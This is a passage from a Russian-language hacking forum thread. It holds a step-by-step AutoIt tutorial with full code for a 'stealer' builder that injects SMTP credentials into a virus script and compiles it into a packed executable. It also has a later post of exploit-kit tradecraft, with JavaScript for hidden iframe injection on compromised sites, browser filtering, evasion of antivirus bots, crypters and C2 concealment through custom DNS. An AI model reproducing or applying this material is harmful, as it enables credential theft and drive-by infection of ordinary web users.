                        .AddAttachment (@TempDir & "\archi.zip") ;файл для отправки
                    EndWith
                    With $hMAIL.Configuration.Fields
                        .Item ($str & "sendusing") = 2
                        .Item ($str & "smtpserver") = "smtp_server" ;SMTP сервер отправителя
                        .Item ($str & "smtpauthenticate") = 1
                        .Item ($str & "sendusername") = "login_from" ;логин от почтового ящика отправителя
                        .Item ($str & "sendpassword") = "pass_from" ;Пароль от почтового ящика отправителя
                        .Item ($str & "smtpserverport") =port_from ;Порт отправителя
                ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;}
                ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
                В принципе слова могут быть какие угодно,но что бы не путаться в ходе написания генератора,да и вообще,рекомендую писать слова дающие какой нибудь смысл,допустим:
                from_e-mail - Почтовый адрес отправителя,слово уникально для этого скрипта.
                to-e-mail - почтовый адрес получателя
                smtp_server - SMTP сервер отправителя
                login_from - логин от почтового ящика отправителя
                pass_from - Пароль от почтового ящика отправителя
                port_from - Порт отправителя
                Аналогично подстраиваете свой скрипт,на этом в принципе со скриптом вируса мы и закончим.Весь код скрипта вируса практически полностью,как можно подробно расписан и рас комментирован,так что вопросов относительно его работы,возникать не должно,да и тема у нас как написать генератор к нему,а ни как написать сам вирус.
                Переходим в папку где находится сам компилятор,по умолчанию это "C:\Program Files\AutoIt3\Aut2Exe" и копируем от туда файлы Aut2exe.exe,AutoItSC.bin,upx.exe,(последний является популярным пакером UPX) эти файлы предназначены для x32 битных систем и по идеи не будут работать на x64 битных ОС,можно конечно написать более универсальный вариант,который будет определять битность,но это я оставлю Вам.Копируем всё это в ту же папку где находится сам скрипт и в добавок кинем туда же иконку с именем ico.ico.
                Упаковываем в архив rar,при помощи архиватора WinRar или какого другого, ложем архив в ту папку где будет располагаться скрипт будущего генератора и на этом этап подготовки окончен,переходим к написанию самого генератора.


                Генератор.


                Оболочку можно написать в ручную,или же можно использовать какой нибудь генератор GUI оболочек для языка Autoit,к примеру я использовал генератор Koda,Вы же можете использовать какой нибудь другой.
                Собираете визуально форму,в нашем случае это форма с одной кнопкой и четырьмя полями ввода текста,то есть под ввод адреса отправителя,пароля от этого адреса,адреса получателя и под указания порта от сервера отправителя.
                Можете собрать свою,что конечно на много лучше,тем более что в этом нету ни чего сложного,или взять мою:

                Код:
                Код:
                #include <ButtonConstants.au3>
                #include <EditConstants.au3>
                #include <GUIConstantsEx.au3>
                #include <StaticConstants.au3>
                #include <WindowsConstants.au3>
                
                
                #Region ### START Koda GUI section ### Form=
                $Form1 = GUICreate("Stealer write Autoit by SwAp", 348, 263, 197, 176)
                GUISetIcon("im1.ico")
                GUISetBkColor(0x008080)
                $Label1 = GUICtrlCreateLabel("Stealer write Autoit by SwAp", 8, 8, 334, 36)
                GUICtrlSetFont(-1, 20, 400, 0, "MS Sans Serif")
                $Label2 = GUICtrlCreateLabel(" From e-mail", 0, 56, 91, 24)
                GUICtrlSetFont(-1, 12, 400, 0, "MS Sans Serif")
                $Label3 = GUICtrlCreateLabel("Password", 2, 84, 73, 24)
                GUICtrlSetFont(-1, 12, 400, 0, "MS Sans Serif")
                $Label4 = GUICtrlCreateLabel("To e-mail", 2, 113, 68, 24)
                GUICtrlSetFont(-1, 12, 400, 0, "MS Sans Serif")
                $Label5 = GUICtrlCreateLabel("Port e-mail", 1, 145, 79, 24)
                GUICtrlSetFont(-1, 12, 400, 0, "MS Sans Serif")
                $Input1 = GUICtrlCreateInput("[email protected]", 104, 56, 225, 21)
                $Input2 = GUICtrlCreateInput("password", 104, 82, 225, 21)
                $Input3 = GUICtrlCreateInput("[email protected]", 104, 109, 225, 21)
                $Input4 = GUICtrlCreateInput("587", 104, 137, 225, 21)
                $Button1 = GUICtrlCreat***tton("Genering", 80, 184, 193, 41, $WS_GROUP)
                $Label6 = GUICtrlCreateLabel("by Swap", 8, 240, 45, 17)
                $Label7 = GUICtrlCreateLabel("TheHackWorld.iN", 256, 240, 90, 17)
                GUISetState(@SW_SHOW)
                #EndRegion ### END Koda GUI section ###
                
                
                While 1
                $nMsg = GUIGetMsg()
                Switch $nMsg
                Case $Label7
                Case $GUI_EVENT_CLOSE
                Exit
                Case $Button1
                EndSwitch
                WEnd
                Честно говоря,так и не нашёл где там гиперлинку добавить,в принципе особо и не искал,сделал так,да и суть не в этом.
                В форме нету ни чего лишнего,в принципе больше ни чего здесь и не нужно, осталось добавить действия при нажатие кнопки "Genering" и билдер будет готов.
                Но сначала добавим распаковку ранее созданного архива,в нужную нам папку(потому как с памятью работать на нём не получится) и только потом будем дописывать действия на кнопку.
                Добавляем необходимую библиотеку Zip_UDF.au3(для того что бы можно было распаковать архив),библиотеку File.au3,которая в свою очередь позволит работать с файлами,далее добавим пару команд,которые выгрузят и распакуют наш архив в указанную папку(в нашем случае это будет временная папка Temp),после чего уже в этой папке будет компилироваться наш скрипт,вообще можно написать что бы только при нажатие на кнопку архив распаковывался и сразу компилировался,но думаю будет лучше распаковывать архив ещё до нажатия кнопки,во первых быстрей будет создаваться вирус,а во вторых мы все равно при закрытие программы будем удалять выгруженный и распакованный архив.
                Код:
                #include <ButtonConstants.au3>
                #include <EditConstants.au3>
                #include <GUIConstantsEx.au3>
                #include <StaticConstants.au3>
                #include <WindowsConstants.au3>
                ;{;;;;Добавляем новые библиотеки;;;
                #Include <File.au3> ;библиотека для работы с файлами,в принципе на этом этапе можно обойтись и без неё.
                #include <Zip_UDF.au3> ; библиотека которая позволит распаковать архив
                ;};;;;;;;;
                ;{ пишем команды на выгрузку и распаковку архива:
                $zipf=@tempdir&"\zip.rar" ;задаём переменную $zipf,которая будет нести в себе  имя и путь до архива,вообще можно сразу в команде указывать это имя.
                $stel=@tempdir&"\steal" ; задаём переменную $stel,которая будет нести в себе путь до нашей временной папке,в которую распакуется архив и которую мы удалим при закрытие программы,в принципе сам архив мы тоже удалим.
                fileinstall("zip.rar",$zipf,1) ;Включить и установить файл, имеющийся внутри компилированного скрипта.
                ; FileInstall ( "source", "dest" [,flag] )
                ;source - Исходный путь к файлу, который следует компилировать.  Поддерживается только явное значение, а не переменная, причем указанная строка не может иметь сокращения названий (*).
                ;dest - Путь к файлу получателю.  Поддерживаются сокращения в названиях - (*).
                ;flag - (опциональный) указывает следует ли перезаписывать файл (файлы) в том случае, когда он (они) уже имеется:
                ;0 = (стандартное значение) не перезаписывать имеющиеся файлы
                ;1 = перезаписывать имеющиеся файлы
                
                sleep(1000) ; ждём одну секунду,пока выгрузится архив.
                _UnZip($zipf, $stel); Распаковываем архив
                ; $zipf - архив который нужно распаковать
                ;$stel - директорию в которую необходимо распаковать архив.
                ;}
                
                #Region ### START Koda GUI section ### Form=
                $Form1 = GUICreate("Stealer write Autoit by SwAp", 348, 263, 197, 176)
                GUISetIcon("im1.ico")
                GUISetBkColor(0x008080)
                $Label1 = GUICtrlCreateLabel("Stealer write Autoit by SwAp", 8, 8, 334, 36)
                GUICtrlSetFont(-1, 20, 400, 0, "MS Sans Serif")
                $Label2 = GUICtrlCreateLabel(" From e-mail", 0, 56, 91, 24)
                GUICtrlSetFont(-1, 12, 400, 0, "MS Sans Serif")
                $Label3 = GUICtrlCreateLabel("Password", 2, 84, 73, 24)
                GUICtrlSetFont(-1, 12, 400, 0, "MS Sans Serif")
                $Label4 = GUICtrlCreateLabel("To e-mail", 2, 113, 68, 24)
                GUICtrlSetFont(-1, 12, 400, 0, "MS Sans Serif")
                $Label5 = GUICtrlCreateLabel("Port e-mail", 1, 145, 79, 24)
                GUICtrlSetFont(-1, 12, 400, 0, "MS Sans Serif")
                $Input1 = GUICtrlCreateInput("[email protected]", 104, 56, 225, 21)
                $Input2 = GUICtrlCreateInput("password", 104, 82, 225, 21)
                $Input3 = GUICtrlCreateInput("[email protected]", 104, 109, 225, 21)
                $Input4 = GUICtrlCreateInput("587", 104, 137, 225, 21)
                $Button1 = GUICtrlCreat***tton("Genering", 80, 184, 193, 41, $WS_GROUP)
                $Label6 = GUICtrlCreateLabel("by Swap", 8, 240, 45, 17)
                $Label7 = GUICtrlCreateLabel("TheHackWorld.iN", 256, 240, 90, 17)
                GUISetState(@SW_SHOW)
                #EndRegion ### END Koda GUI section ###
                
                
                While 1
                $nMsg = GUIGetMsg()
                Switch $nMsg
                Case $Label7
                Case $GUI_EVENT_CLOSE
                ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
                ;
                ;{ И сразу добавим удаление выгруженного и распакованного архива при закрытие программы
                filedelete($zipf) ; удаляем архив
                ; переменная $zipf указывает на путь до архива который нужно удалить
                DirRemove($stel,1) ; удаляем директорию в которую был распакован архив
                ; переменная $stel указывает на путь до папки которую нужно удалить
                ; флаг 1 указывает что нужно удалить все файлы и поддиректории находящиеся в этой директории.
                ;}
                Exit
                Case $Button1
                EndSwitch
                WEnd
                Последний раз редактировалось Rogge; 11-06-2013, 03:29.

                Комментарий


                • #23
                  В коде расписал куда и какие команды добавляем и что каждая из добавленных выполняет.
                  Далее приступим к действию при нажатие на кнопку "Genering",то есть к действию генерирования самого вируса.

                  Комментарий


                  • #24
                    Код:
                    #include <EditConstants.au3>
                    #include <GUIConstantsEx.au3>
                    #include <StaticConstants.au3>
                    #include <WindowsConstants.au3>
                    #Include <process.au3>
                    ;{;;;;Добавляем новые библиотеки;;;
                    #Include <File.au3> ;библиотека для работы с файлами,в принципе на этом этапе можно обойтись и без неё.
                    #include <Zip_UDF.au3> ; библиотека которая позволит распаковать архив
                    ;};;;;;;;;
                    ;{ пишем команды на выгрузку и распаковку архива:
                    $zipf=@tempdir&"\zip.rar" ;задаём переменную $zipf,которая будет нести в себе  имя и путь до архива,вообще можно сразу в команде указывать это имя.
                    $stel=@tempdir&"\steal" ; задаём переменную $stel,которая будет нести в себе путь до нашей временной папке,в которую распакуется архив и которую мы удалим при закрытие программы,в принципе сам архив мы тоже удалим.
                    fileinstall("zip.rar",$zipf,1) ;Включить и установить файл, имеющийся внутри компилированного скрипта.
                    ; FileInstall ( "source", "dest" [,flag] )
                    ;source - Исходный путь к файлу, который следует компилировать.  Поддерживается только явное значение, а не переменная, причем указанная строка не может иметь сокращения названий (*).
                    ;dest - Путь к файлу получателю.  Поддерживаются сокращения в названиях - (*).
                    ;flag - (опциональный) указывает следует ли перезаписывать файл (файлы) в том случае, когда он (они) уже имеется:
                    ;0 = (стандартное значение) не перезаписывать имеющиеся файлы
                    ;1 = перезаписывать имеющиеся файлы
                    
                    sleep(1000) ; ждём одну секунду,пока выгрузится архив.
                    _UnZip($zipf, $stel); Распаковываем архив
                    ; $zipf - архив который нужно распаковать
                    ;$stel - директорию в которую необходимо распаковать архив.
                    ;}
                    
                    #Region ### START Koda GUI section ### Form=
                    $Form1 = GUICreate("Stealer write Autoit by SwAp", 348, 263, 197, 176)
                    GUISetIcon("im1.ico")
                    GUISetBkColor(0x008080)
                    $Label1 = GUICtrlCreateLabel("Stealer write Autoit by SwAp", 8, 8, 334, 36)
                    GUICtrlSetFont(-1, 20, 400, 0, "MS Sans Serif")
                    $Label2 = GUICtrlCreateLabel(" From e-mail", 0, 56, 91, 24)
                    GUICtrlSetFont(-1, 12, 400, 0, "MS Sans Serif")
                    $Label3 = GUICtrlCreateLabel("Password", 2, 84, 73, 24)
                    GUICtrlSetFont(-1, 12, 400, 0, "MS Sans Serif")
                    $Label4 = GUICtrlCreateLabel("To e-mail", 2, 113, 68, 24)
                    GUICtrlSetFont(-1, 12, 400, 0, "MS Sans Serif")
                    $Label5 = GUICtrlCreateLabel("Port e-mail", 1, 145, 79, 24)
                    GUICtrlSetFont(-1, 12, 400, 0, "MS Sans Serif")
                    $Input1 = GUICtrlCreateInput("[email protected]", 104, 56, 225, 21)
                    $Input2 = GUICtrlCreateInput("password", 104, 82, 225, 21)
                    $Input3 = GUICtrlCreateInput("[email protected]", 104, 109, 225, 21)
                    $Input4 = GUICtrlCreateInput("587", 104, 137, 225, 21)
                    $Button1 = GUICtrlCreat***tton("Genering", 80, 184, 193, 41, $WS_GROUP)
                    $Label6 = GUICtrlCreateLabel("by Swap", 8, 240, 45, 17)
                    $Label7 = GUICtrlCreateLabel("TheHackWorld.iN", 256, 240, 90, 17)
                    GUISetState(@SW_SHOW)
                    #EndRegion ### END Koda GUI section ###
                    
                    
                    While 1
                    $nMsg = GUIGetMsg()
                    Switch $nMsg
                    Case $Label7
                    _RunDOS( "start http://thehackworld.in")
                    Case $GUI_EVENT_CLOSE
                    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
                    ;{ И сразу добавим удаление выгруженного и распакованного архива при закрытие программы
                    filedelete($zipf) ; удаляем архив
                    ; переменная $zipf указывает на путь до архива который нужно удалить
                    DirRemove($stel,1) ; удаляем директорию в которую был распакован архив
                    ; переменная $stel указывает на путь до папки которую нужно удалить
                    ; флаг 1 указывает что нужно удалить все файлы и поддиректории находящиеся в этой директории.
                    ;}
                    Exit
                    Case $Button1
                    ;;;;;;;;;;;;;;;;;;;;;;;;;;
                    ; Добавляем действия при нажатие на кнопку
                    
                    ; GUICtrlRead ( controlID [, advanced] ) -Вернуть значение состояния и данных элемента.
                    ;Параметры
                    ;controlID - Идентификатор элемента, полученный при вызове GUICtrlCreate....
                    ;advanced - [опциональный] Вернуть дополнительные сведения в виде двумерного массива.
                    ;0 = (Стандартное значение) Одно значение о состоянии или данных элемента.
                    ;1 = (Расширенный режим чтения) Массив данных о состоянии или тексте элемента.
                    
                    $from=GUICtrlRead($Input1) ; считываем введённые данные в первое поле,которое отвечает за почтовый адрес отправителя и записываем его содержимое в переменную $from
                    $pass=GUICtrlRead($Input2) ; считываем введённые данные во второе поле,которое отвечает за пароль от почтового адреса отправителя и записываем его в переменную $pass
                    $to=GUICtrlRead($Input3) ; считываем введённые данные в третье поле,которое отвечает за почтовый адрес получателя и записываем его в переменную $to
                    $port=GUICtrlRead($Input4) ; считываем введённые данные в четвёртое поле,которое отвечает за порт почтового сервера отправителя.
                    ;StringSplit ( "string", "delimiters" [, flag ] ) - Разделить строку на подстроки, используя указанный разделитель.
                    
                    ;Параметры
                    ;string - Исходная строка.
                    ;delimiters - Один или несколько символов используемых в качестве разделителя.
                    ;[flag] - Если flag равен 0 (стандартное значение), то каждый символ строки delimiters разделяет ее на части. Если flag равен 1, то только вся комбинация delimiters делит строку на части.
                    
                    $strok=StringSplit($from,"@") ; разбиваем почтовый адрес отправителя на две части,что бы извлечь сервер и логин от этого адреса.
                    $server="smtp."&$strok[2] ; записываем в переменную $server вторую часть от почтового адреса отправителя и дописываем к началу этой части "smtp.",для того что бы получить smtp сервер от почтового адреса отправителя.
                    $login=$strok[1] ; вписываем в переменную $login первую часть от почтового адреса отправителя,что бы получить логин,хотя можно просто указать адрес отправителя.
                    $file=FileOpen($stel&"\source.au3") ; открываем наш скрипт вируса
                    sleep(1000) ; так на всякий случай небольшая пауза в одну секунду
                    
                    ;FileRead ( filehandle или "filename" [, count] ) - Вернуть указанное число символов из ранее открытого текстового файла.
                    
                    ;Параметры
                    ;filehandle - Указатель файла, полученный при выполнении FileOpen. Либо просто строка с названием файла.
                    ;count - [Опциональный] Количество символов.
                    
                    $text = FileRead($file) ;считываем весь скрипт и вносим его в переменную $text
                    
                    ;StringReplace ( "string", "searchstring" или start, "replacestring" [, count [, casesense]] ) - Заменить фрагмент строки.
                    
                    ;Параметры
                    
                    ;string - Исходная строка.
                    ;searchstring - Искомый фрагмент, либо начальная позиция замены.
                    ;replacestring - Строка замены.
                    ;count - (опциональный) Число замен.
                    глобальная замена - 0 (стандартный режим)
                    ;casesense - (опциональный) Режим учета регистра написания.
                    ;0 = при поиске не учитывать регистр написания (стандартный)
                    ;1 = при поиске учитывать регистр написания
                    
                    $text = StringReplace($text, "from_e-mail", $from) ; ищем в коде нашего скрипта вируса, "from_e-mail" и заменяем его на записанный в переменную $from адрес отправителя,то же самое проделываем и для остальных переменных.
                    $text = StringReplace($text, "pass_from", $pass)
                    $text = StringReplace($text, "to-e-mail", $to)
                    $text = StringReplace($text, "port_from", $port)
                    $text = StringReplace($text, "smtp_server", $server)
                    $text = StringReplace($text, "login_from", $login)
                    FileClose($file) ; закрываем наш скрипт
                    $file1=FileOpen($stel&"\script.au3",2) ; открываем второй скрипт,хотя можно внести изменения в тот скрипт и обойтись без создания второго скрипта.
                    FileWrite($file1, $text); и вписываем в него содержимое переменной $text
                    FileClose($file1) ; закрываем этот скрипт,тем самым сохраняем его.
                    sleep(1000); чисто символическая пауза,что бы дать сохранить скрипт.
                    
                    ;Run ( "filename" [, "workingdir" [, flag[, Standard_I/O_Flag]]] ) - Запустить внешнее приложение.
                    
                    ;Параметры
                    ;filename - Название файла приложения (EXE, BAT, COM или PIF).
                    ;workingdir - (опциональный) Рабочий директорий.
                    ;flag - [опциональный] Состояние окна приложения после запуска:
                    
                    ;@SW_HIDE = скрыть окно
                    ;@SW_MINIMIZE = свернуть окно
                    ;@SW_MAXIMIZE = развернуть окно
                    
                    ;Standard_I/O_Flag - [опциональный] Предоставить рабочий внутренний идентификатор одного и более из стандартных потоков ввода-вывода дочернего процесса.
                      ;1 ($STDIN_CHILD) - внутренний идентификатор STDIN потока
                      ;2 ($STDOUT_CHILD) = внутренний идентификатор STDOUT потока
                      ;4 ($STDERR_CHILD) = внутренний идентификатор STDERR потока
                    
                    Run($stel&"\Aut2exe.exe /in " &$stel&"\script.au3 /out " &@ScriptDir & "\virus.exe /icon " & $stel&"\ico.ico /comp 0 /pack") ; запускаем компилятор Autoit,который ранее был выгружен с нашего архива и надоится в той же папке что и скрипт вируса.
                    ;Запускаем его с необходимыми для компилирования параметрами:
                    ;параметр /in - указывает на местоположение скрипта который необходимо скомпилировать
                    ;Параметр /out - указывает на место куда будет сохранён скомпилированный скрипт,то есть куда будет создан сам вирус
                    ;Параметр /icon - указывает на иконку которая будет цепляться к файлу.
                    ;параметр /comp так понял указывает на компрессию файла,хотя в полне могу и ошибаться.
                    ;Параметр /pack указывает на то что файл необходимо сжать.
                    sleep(90); чисто символическая пауза
                    msgbox(0,"Info","Virus create Success") ; и сообщаем пользователю что вирус типа создан
                    EndSwitch
                    WEnd

                    Комментарий


                    • #25
                      это все ваше? авторское?
                      аську не юзаю,жабер в пм

                      http://darkmoney.cc/novosti-proekta-...ennosti-10565/

                      Комментарий


                      • #26
                        Сообщение от ogggi Посмотреть сообщение
                        это все ваше? авторское?
                        Ну конечно же нет.
                        Мне кажется человек за свою жизнь сам все не напишет столько.

                        Комментарий


                        • #27
                          Сообщение от Rogge Посмотреть сообщение
                          Ну конечно же нет.
                          Мне кажется человек за свою жизнь сам все не напишет столько.
                          к чему тогда тут профикопипаста?

                          и автора как бы указать надо бы
                          аську не юзаю,жабер в пм

                          http://darkmoney.cc/novosti-proekta-...ennosti-10565/

                          Комментарий


                          • #28
                            Откуда я беру там не указан автор так бы указывал бы.
                            Это инфа у меня в компе уже довно качал.

                            Комментарий


                            • #29
                              И что теперь.
                              Если я что то тут буду покупать или продовать то буду работать только через гаранта!
                              Если хотите я даже у себя подпись напишу чтоб не у кого позрение вызывать я напишу что если что то продаю или покупаю то только работаю через гарнта
                              Последний раз редактировалось Rogge; 11-06-2013, 03:54.

                              Комментарий


                              • #30
                                Немого про: связки, трафик и ботов

                                Я хочу рассказать, о некоторых не очевидных моментах работы, которые частично вы уже могли видеть в бурж-инете.

                                ТРАФФИК

                                Сейчас трафф, в большинстве своем,довольно быстрый.
                                Что это значит... Что юзер серфит по сети. открывая колесом по 10 вкладок, и потом за минуту закрывает 9 из них, на ненужные вкладки он тратит по 2-3 сек.
                                Значит у нас есть 2-3 сек чтобы загрузить страницу, загрузить ифрейм, пробить, посчетать как пробитого.
                                Если вы поставите на доимый сайт GA, и посмотрите сколько было просмотров длительностью меньше секунды, то неприятно удивитесь. На поисковом трафе их под 30%. На поп-ап трафе таких просмотров под 90% (вот ж *?№%#). Стоп, а почему меньше секунды? потому что гугл-аналитика тяжелая, и сама грузится не раньше 2й секунды(
                                Таким образом, у нас есть 2 способа повышения числа слитых (пока только слитых) юзеров.
                                1) Пробить его как можно скорее.
                                2) затормозить юзера.

                                1) Ускоряем пробив.
                                Многие траферы любят прятать ифрейм в скрипте счетчиков... в подвале 0_о Счетчики туда спецом сносят, чтобы они загружались последними.
                                Нам нужно создавать ифрейм как можно раньше. В хедере не годится, потому что сделать .append() ифрейма в хедер мы не можем (не загрузится ифрейм), а боди в момент выполнения скрипта еще не существует в DOM'е.
                                Нельзя вешать создание ифрейма на $(document).ready() и тем-более на body.onload. Если сравнивать сколько юзеров смотрело страницу, и сколько отметилось на связке, потери трафа составят где-то 30%.
                                Самый разумный вариант - ставить ифрейм, или запускать скрипт, который его создает, после открывающего <body>, поближе к нему.
                                Например даже так: <body onmouseover="make_bad_thing()">, где make_bad_thing() - функа, создающая ифрейм, и заранее определенная где-то в шапке (зашитая в 1 из ранее существующих js-файлов например). И не забываем за собой файлы тачить.
                                Если сайт сам тяжелый и медленный (например вордпрессы, напичканые модулями), то возможно придется немного оптимизировать сайт за админа.
                                Если jQuery грузится с доимого сайта, инклудим его с google-cdn. Не факт что оттуда быстрее, но очень часто он есть в кеше юзера.
                                Собираем стили в начало хедера, скрипты за ними. Между собой скрипты и стили не перемежаем. Тогда и те и другие грузятся параллельно.
                                Это не фантазии, если есть возможность (не спалят) это стоит делать на каждом сайте, который мы фреймим руками. Это реально дает прирост трафа на ~9% в среднем, а времени тратится минута.

                                2) Тормозим юзера.
                                Тут нет вариантов. Серьезно. Кроме js-воркеров, мы ничем не можем заставить браузер догружать наше зло после закрытия вкладки. А они адекватно поддерживаются только хромом =3
                                За фокусы с onBeforeUnload сразу получим по шапке. Конечено, если мы фреймим листы автоматом, и долгожительство нам не нужно, то можно и побаловаться, но это убивает ифрейм после первого визита админа.


                                Код:
                                <script>
                                function closeIt() {
                                window.open(window.location.src,'mywindow');
                                }
                                window.onbeforeunload = closeIt;
                                </script>

                                Если есть возможность спрятаться глубоко и в размере кода мы не ограничены, то лучше сразу сливать только нужный нам трафф, например IE и FF.
                                Cпособ не совсем изящный, но отлично отсеивает всякую ересь:

                                Код:
                                <script type="text/javascript">
                                var isMSIE = /*@cc_on!@*/false;
                                var isFF = window.sidebar;
                                if (isMSIE || isFF) document.write('<iframe src="#" frameborder="0"></iframe>');
                                </script>

                                СВЯЗКИ

                                Аксиома: 99% связок на рынке - одинаковый набор сплойтов из метасплойта.
                                Так почему же пробив разный 0_о
                                Зависит от:
                                1) скорости выдачи сплойтов
                                2) кривости проверки на наличие нужного плагина
                                3) стабильности шелл-кода
                                4) чистоты связки, ее закрытости от ботов.

                                Так уж исторически сложилось, что 90% связочников борятся с одной проблемой - поскорее впихнуть дефалтный шелл-код юзеру. Тут все средства хороши.
                                проверка на пдф? зачем это? отдаем так, яж потестил, пробив так выше. *рука-лицо*
                                Вобщем-то, проверка на наличие плагина сама-по-себе не критична, потому что например на флеш проверка сложная (если захватывать древние версии)
                                Но блин, нельзя же отдавать сплойт первому встречному...
                                О реверсерах мы не беспокоимся (приватных сплойтов то нету). И по-этому любая история о реверсе связки начинается с "открываем малзилу, скачиваем".
                                Но вот о ботах стоит побеспокоится.
                                1) чего почему-то не делает ни 1 автор связки, из всех что я видел. Всегда отдавать 404й хедер. Это элементарное и действенное средство от индексации поисковиками, и защита от большинства сканеров.
                                2) принимать только нужный трафф. Тоску навивают пробитые линуха в скринах статы блек-хола. (еще до добавления в нее java rhino, там регулярно светились пробитые линуха, неизвестные мазилы, вин-сервера, и маки. Ну как так?)

                                Почему фильтровать трафф не выгодно авторам связок:
                                1) Теряются те копейки пробива, на которых балансирует конкурентность их продукта. (не выгодно фильтровать юзеров)
                                2) Чистки стоят денег. Старайтесь не пользоваться связками, где за каждую чистку платите вы. Т.к. палево становится выгодно автору, и вы будете чистить снова и снова. Увы, это реальность.(не выгодно фильтровать ботов)

                                Почему из-за проверок теряется трафф:
                                Не забываем что львиная доля трафа сидит на сайте по 1-3 сек. А значит примерно на моменте загрузки связки уже половина инертного трафа закрывает окно. И именно на экономии загрузки полусекунды от plugindetect.js (весит много, многими используется) мы можем получить прирост в 2-3% пробива.

                                Что полезно сделать перед покупкой связки? Запустить виртуалку, поставить фф по-старее, фаербаг, и загрузить тестовый линк. Если вся связка грузится дольше чем 3 сек - вы будете терять минимум 20% трафа только потому, что трафф раньше уйдет, чем успеет пробиться.

                                Если вы дозрели до написания своей связки, то позаботьтесь о проверках на соответствие юзер-агента заявленым фичам (тоесть браузер - действительно браузер, а не wget, не phantomJS, не malzilla и не гугл-бот)
                                Пускать ли на связку носителей fir***g'а - дело ваше, я пускаю, но в нем связки не видно. (прохождение через отладчики - тема отдельной статьи, которая врятли появится в ближайшее время)
                                Позаботьтесь о том, чтобы исходник страницы со связкой выглядел безобидно, чтобы не создавать проблемы тем, что льет трафф с бирж.
                                Ну и главное - следите за временем загрузки. Совсем необязательно каждого уника писать в базу. Если самый тяжелый участок у вас geoIp-база, то посмотрите в сторону google location api.
                                Если вы неуверены в хостинге, и не знаете как он поведет себя при больших нагрузках, то ведите учет времени загрузки страницы на стороне юзера (тоесть в хедере запоминаем микротайм, по body.onload фиксируем разницу). Это поможет вам избежать неприятных вопросов от клиентов а-ля "где мой трафф-то? небось отбираешь?".

                                БОТЫ & БЛЕКИ

                                Итак, давайте смотреть, когда падает крипт?

                                1) когда запален другой файл, криптованый так же
                                2) когда файл запущен у юзера с ав, очередь на файлы с низким рейтингом доверия у ав (например каспер, комодо, все кто "облачные") дошла до вашего файла.
                                3) Бот пришел на связку, разобрал крипт js. (тут мы получаем палево шелл-кода, палево нагрузки, блек на домен)

                                Что делать:
                                1) Когда купили крипт, положите файлик на полку дня на 3, и не лейте его. Если криптер не ****** то криптованый "вам" файл должен не палиться вечно, пока вы не начнете его грузить. Реальность же такова, что у хороших криптеров он не палится недели две, у плохих - 1-3 дня.
                                Крипт не у всех "одинаково-полиморфный". У кого-то мутация от билда к билду больше, у кого-то меньше.
                                2) Выход - хороший лодер. Другой вариант - не грузить вообще, если у юзера нашелся касперски-бар для ие, или что-то подобное.
                                SSL на домене со связкой был бы выходом, если бы не мучительно долгий хенд-шейк (это когда браузер пишет в статус-баре "Установка безопасного соединения"). Ускорением ssl-хенд-шейка занимается только хром, но мы простые смертные, и он нам не интересен.
                                3) Детектить ботов, как хотите. Тут фантазия, и все карты в руки. Экзотический довесок - проверять на наличие в кеше у юзера чего-нибудь из google-cdn (jquery например). Определяется по времени загрузки оного. Если грузится меньше чем за 150мс, то точно из кеша. Почему это работает - потому что боты страются приходить девственно-чистыми, без кук, без флеш-кук, без кеша.

                                Когда админка попадает в трекер?
                                - Когда до семпла, отосланного в облако антивирусом юзера, доходит очередь у ав. Семпл разбирается, админка вынимается. В нее стучится бот, проверяет, жива ли админка, и не ошибся ли он. Если жива - в трекер, домен в блек.
                                Попадание в трекер - причина палева, или следствие?
                                - Следствие. Бесполезно бороться с самими трекерами. Нужно прятать линк админки в билде, и вести учет ботов.
                                В среднем 80% ботов всегда стучатся с 1го диапозона ip, еще 16% - с 2х диапозонов ip, и 4% - с 3 разных диапозонов ip (стата исключительно по моим замерам, конечно же она плавает).
                                Если вы кодите, то допишите себе учет адресов, с которых отстукивают боты, и увидите, что перед попаданием в трекер к вам приходит "новенький" (при том, что вы не грузили) или "ваш" стучит хpен-знает-откуда.

                                Боты никогда не должны стучать с диапозонов ip, отданых хостерам (что логично). Листы адресов, отданных провайдерам, хостерам, и организациям, в том или ином виде, есть в сети. Огромнейший список использует nerowolfe в своем фильтре.
                                Если ваш бот на основе зевса, то он так или иначе несет на себе тяжкое наследство плохого крипта урла админки. Лучшие подвижки в решении этой проблемы наблюдаются у авторов цитадели.

                                Чем раньше отсекать ав-ботов, тем лучше. В идеале, отсекать их еще при обращении к днс (для этого придется поднять свои нс-сервера, хорошо поколдовать над ними, и не забыть прописать их в домене админки).

                                Самый радикальный (и самый надежный) вариант решения проблемы - чтобы только боты знали к какому хосту относится домен админки ( прописывать адрес админки в hosts, использование ботами своих днс).
                                Тоесть для всех смертных у домена a-запись ведет в наш анти-ав-ханипот (или домен вообще нам не принадлежит вовсе 0_о )
                                Боты же используют наш (или купленый у Неровульфа %) ) днс. Таким образом только наш днс (или только конкретный пк) знает, на какой хост стучаться.
                                Кроме того, в случае использования своих днс, мы решаем проблему домена (он нам вообще не нужен. Только наш днс и хост админки знают что microsoft.com - это про них)), и решаем проблему абуз на хост (он за минуту меняется)
                                Последний раз редактировалось Rogge; 11-06-2013, 04:43.

                                Комментарий

                                Обработка...
                                X